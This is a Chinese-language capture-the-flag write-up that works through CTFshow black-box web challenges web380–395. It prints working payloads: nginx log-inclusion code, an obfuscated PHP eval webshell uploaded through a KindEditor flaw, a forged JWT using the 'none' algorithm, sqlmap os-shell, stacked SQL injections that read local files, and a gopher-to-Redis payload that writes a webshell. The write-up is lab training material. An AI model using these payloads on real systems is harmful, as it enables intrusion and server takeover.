CTFSHOW-黑盒测试

文章发布时间:

最后更新时间:

  1. web380 黑盒测试

    字典里扩充了一下hhh,一开始扫不出来

    image-20221115091421698

    存在page.php,访问查看

    image-20221115091501180

    可以看到有一个未定义的变量id,尝试直接读flag

  2. web381

    在源码中link标签处css引用存在另一后台的url

    image-20221115091852016

    直接访问

  3. web382

    这次我们继续访问可疑地址,变成了一个登录框

    万能密码就登录进去了

    image-20221115092558368

  4. web383

    同理

  5. web384 密码前2位是小写字母,后三位是数字

    这关没有sql注入漏洞了,但提示应该是存在弱口令,直接按规则爆破

    有点难,最后密码是xy123

  6. web385

    这关其实也算是目录扫描吧,扫出install安装目录,其可以重置默认密码

    image-20221115094413246

    image-20221115095149146

  7. web386

    再次访问install,会发现存在lock.dat

    image-20221115095331984

    FUZZ一下php文件名,多了一个clear.php

    image-20221116104542472

访问clear.php/?file=./install/lock.dat即可清理掉lock.dat

之后再去访问/install?install即可重置密码,然后重新弱密码登录即可

  1. web386. 前面部分和386一样

    这题已经没法去删掉lock.dat文件了,再扫扫目录

    image-20221116105922442

先看看robots.txt,可以去访问debug目录,拼接参数试试

image-20221116110102648

发现可以读出/etc/passwd,因此可以判断,这个目录下文件提供一个文件包含的操作。由于该站点的中间件为nginx,所以尝试日志包含。/var/log/nginx/access.log,确实可以,那么尝试写马

image-20221116110528137

直接写马失败,按照上题思路,我们可以手动删除lock.dat文件,尝试写入

1
<?php unlink('/var/www/html/install/lock.dat'); ?>

image-20221116111140139

之后按照上题来就行

  1. web387

    按照上一题的思路来,会发现已经无回显

    image-20221116111348215

这次我们基于/alsckdfy目录去扫一下存在什么文件

image-20221116113756181

有个编辑器看看能否利用,访问可知是一个KindEditor编辑器,找找版本 4.1.11

image-20221116114007622

找下有无可利用的漏洞,https://www.hacking8.com/bug-editor/Kindeditor/CVE-2017-1002024-Kindeditor-_=4.1.11-%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.html

image-20221116114927821

也就是说,我们这里可以上传txt,html一类文件,且上传后的文件路径可知/alsckdfy/attached/file/ . 这里的话我们可以配合之前的日志包含,将一段php恶意代码通过日志文件来执行

首先,上传恶意代码

1
2
3
4
<?php 
$a = '<?ph'.'p ev'.'al($_PO'.'ST[1]);?>';
file_put_contents('/var/www/html/1.php', $a);
?>

访问该文件验证上传成功

image-20221116115743377

接下来访问/debug?file=xxx,来将恶意代码写入日志文件

1
/debug/?file=/var/www/html/alsckdfy/attached/file/20221116/20221116035705_82067.txt

然后包含日志文件进来,使得恶意代码被解析执行

1
/debug/?file=/var/log/nginx/access.log

image-20221116203650041

  1. web389

    直接访问/debug,会回显权限不足

    看看cookie,存在auth键值对

    1
    auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2ODYwNzU4NywiZXhwIjoxNjY4NjE0Nzg3LCJuYmYiOjE2Njg2MDc1ODcsInN1YiI6InVzZXIiLCJqdGkiOiI3MTI0N2E3ZDMxOWE1MmMzZjM3YmE3OTA5MGM1N2FkZCJ9.jxCUL0trBNZNdp_fXROsID50HaOnAs37mEbBWuUhnJk

    很明显是一个jwt鉴权,我们解码一下看看字段

    image-20221116221204844

    尝试直接进行空加密

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    import jwt

    payload = {
    "iss": "admin",
    "iat": 1668607587,
    "exp": 1668614787,
    "nbf": 1668607587,
    "sub": "admin",
    "jti": "71247a7d319a52c3f37ba79090c57add"
    }

    header = {
    "alg": "none",
    "typ": "JWT"
    }

    token = jwt.encode(payload, key="", algorithm="none", headers=header)
    print(token)

    接下来按照上一题流程即可

    image-20221116223211323

  1. web390

    关注url出现了参数

    image-20221116223401984

    关注回显长度的变化,正常参数时

    image-20221116223600353

    当加入特殊字符时

    image-20221116223630665

    由此可知存在盲注,直接sqlmap一把梭

    1
    sqlmap -u xxx --os-shell

    image-20221116224655638

  2. web391-392

    测一下/search.php?id=会发现也存在sql注入

    image-20221116225139034

image-20221116225348427

  1. web393

    title处的参数仍然存在时间回显不一致的问题(比较隐蔽),可以利用盲注。同时关注到底下多了一个搜索引擎

    image-20221117220504436

    关注一下url

    image-20221117222208780

这里讲述另外一种利用方式,先基本查一下库中数据

1
2
3
4
5
6
sqlmap -u "http://836b34a4-5a85-46c1-ae8a-c68874d0c7e8.challenge.ctf.show/search.php?title=1" --dbs
# ctfshow
sqlmap -u "http://836b34a4-5a85-46c1-ae8a-c68874d0c7e8.challenge.ctf.show/search.php?title=1" -D ctfshow --tables
# admin_user content link
sqlmap -u "http://836b34a4-5a85-46c1-ae8a-c68874d0c7e8.challenge.ctf.show/search.php?title=1" -D ctfshow -T link --columns
# id name url(varchar)

因此结合回显,我们可以修改id对应的url值,利用file协议将本地文件回显出来

payload:

1
'; update link set url='file:///flag' where id=4; %23
  1. web394 FLAG_NOT_HERE

    title字段仍然存在时间回显问题,所以可以继续时间盲注。我们依然可以用上一题的思路通过修改Url的值来回显flag,需要注意的是,这次参数存在关键词过滤,因此需要通过编码绕过

    1
    '; update link set url=0x66696c653a2f2f2f666c6167; %23

    image-20221117223645751

    发现flag不在根目录了,那就还在/var/www/html/alsckdfy/check.php

    1
    '; update link set url=0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870; %23

    原来在源代码里,差点被骗了。。。

    image-20221117223941184

  2. web395 FLAG_NOT_HERE

    这里学习一种新的思路,注入位置未变,我们可以利用未授权的redis进行getshell

    也就是说,这里利用的是修改url的值为gopher协议,去打redis

    我们首先要解决的问题是url字段长度问题,由前面几题知道该字段结构为varchar(255),

    因此先修改字段类型为text

    1
    '; alter table link modify column url text; %23

    接着生成gopher的payload

    image-20221117225310123

1
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B1%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

然后将其插入到link表的insert字段当中

1
'; insert into link values(10,"a", 0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c2530442530412532413325304425304125323433253044253041736574253044253041253234312530442530413125304425304125323433302530442530412530412530412533432533467068702532302534306576616c2532382532345f504f5354253542312535442532392533422532302533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431332530442530412f7661722f7777772f68746d6c2530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234392530442530417368656c6c2e706870253044253041253241312530442530412532343425304425304173617665253044253041253041); %23

image-20221117230226894

image-20221117230321734